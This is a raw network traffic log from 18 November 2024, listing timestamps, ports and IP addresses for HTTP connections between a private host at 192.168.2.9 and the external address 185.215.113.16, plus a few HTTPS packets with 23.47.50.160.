Nov 18, 2024 15:17:14.959676981 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.959676981 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.959697008 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.959722042 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.002252102 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.002324104 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.002337933 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.002362013 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.002477884 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.012871027 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.012885094 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.012897015 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.012908936 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.013010979 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.013010979 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.013118982 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.013133049 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.013288975 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.048721075 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.048742056 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.048748016 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.048799992 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.048813105 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.048860073 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.048860073 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.048860073 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.050225973 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.050240040 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.050254107 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.050301075 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.050348997 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.050395966 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.050409079 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.050465107 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.050465107 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.050466061 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.053309917 CET	443	49832	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:15.053344965 CET	443	49832	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:15.053400040 CET	49832	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:15.053409100 CET	443	49832	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:15.053461075 CET	49832	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:15.055413961 CET	49832	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:15.055433989 CET	443	49832	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:15.062403917 CET	49833	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:15.062460899 CET	443	49833	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:15.062597036 CET	49833	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:15.062815905 CET	49833	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:15.062834978 CET	443	49833	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:15.074804068 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.074820042 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.074922085 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.074934006 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.074948072 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.074959040 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.074994087 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.074995041 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.074995041 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.075479031 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.075493097 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.075505018 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.075552940 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.075565100 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.075589895 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.075589895 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.075589895 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.075725079 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.129156113 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.129184008 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.129194975 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.129215002 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.129226923 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.129287004 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.129287004 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.129287004 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.129717112 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.129728079 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.129787922 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.129823923 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.129848003 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.129848003 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.129848003 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.130474091 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.171998978 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.172024012 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.172034979 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.172101974 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.172113895 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.172125101 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.172139883 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.172224998 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.172696114 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.172708988 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.172719002 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.172733068 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.172796965 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.172796965 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.172796965 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.172801018 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.173060894 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.191018105 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.191032887 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.191046000 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.191061020 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.191073895 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.191173077 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.191236973 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.191673040 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.191725016 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.191737890 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.191806078 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.191818953 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.191858053 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.191858053 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.191858053 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.245381117 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.245431900 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.245450020 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.245481014 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.245481014 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.245565891 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.245573997 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.245656967 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.245667934 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.245721102 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.246771097 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.246783972 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.246794939 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.246844053 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.247060061 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.288487911 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.288570881 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.288589954 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.288602114 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.288634062 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.288660049 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.288685083 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.288697004 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.288708925 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.288721085 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.288785934 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.288785934 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.289236069 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.289279938 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.289292097 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.289297104 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.289307117 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.289338112 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.289338112 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.289355993 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.289751053 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.289769888 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.289782047 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.289812088 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.289830923 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.307615042 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.307681084 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.307694912 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.307717085 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.307729006 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.307729006 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.307729006 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.307765007 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.307765007 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.308660030 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.308672905 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.308685064 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.308696985 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.309072971 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.309072971 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.309098959 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.309216022 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.309247017 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.309370041 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.362242937 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.362267971 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.362281084 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.362323046 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.362375021 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.362417936 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.362454891 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.362467051 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.362487078 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.362500906 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.362517118 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.363238096 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.363250017 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.363261938 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.363301992 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.363359928 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.404932976 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.404998064 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.405005932 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.405019045 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.405077934 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.405846119 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.405886889 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.405899048 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.405930042 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.405957937 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.405963898 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.405977011 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.406012058 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.406409025 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.406420946 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.406433105 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.406462908 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.406492949 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.406719923 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.406732082 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.406744003 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.406771898 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.406805038 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.406974077 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.406985998 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.407030106 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.407043934 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.423856974 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.423873901 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.423886061 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.423919916 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.423954010 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.423957109 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.423971891 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.423989058 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.424011946 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.424029112 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.425159931 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.425180912 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.425192118 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.425226927 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.425245047 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.425396919 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.425410986 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.425421953 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.425451994 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.425467968 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.467194080 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.467236042 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.467291117 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.467327118 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.479474068 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.479496002 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.479506969 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.479540110 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.479566097 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.479578972 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.479592085 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.479633093 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.479897022 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.479907990 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.479918957 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.479932070 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.479957104 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.522078037 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.522131920 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.522173882 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.522180080 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.522202969 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.522217035 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.522226095 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.522263050 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.522293091 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.522304058 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.522327900 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.522341967 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.522480965 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.522532940 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.522581100 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.522654057 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.522748947 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.522761106 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.522773027 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.522792101 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.522819996 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.523685932 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.523696899 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.523710966 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.523722887 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.523735046 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.523771048 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.523817062 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.541498899 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.541523933 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.541534901 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.541585922 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.541609049 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.541646957 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.541660070 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.541672945 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.541699886 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.541712999 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.541945934 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.541960001 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.541989088 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.542367935 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.542378902 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.542390108 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.542418003 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.542442083 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.543322086 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.543343067 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.543354034 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.543370008 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.543394089 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.595351934 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.595376968 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.595391035 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.595424891 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.595468044 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.595479965 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.595491886 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.595494986 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.595503092 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.595504999 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.595518112 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.595541954 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.595566988 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.596200943 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.596213102 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.596223116 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.596251011 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.596378088 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.637902021 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.637957096 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.639520884 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.639566898 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.639579058 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.639591932 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.639616013 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.639630079 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.639631033 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.639677048 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.639689922 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.639692068 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.639704943 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.639719963 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.639739037 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.639751911 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:15.639760971 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:15.639761925 CET	80	49829	185.215.113.16	192.168.2.9
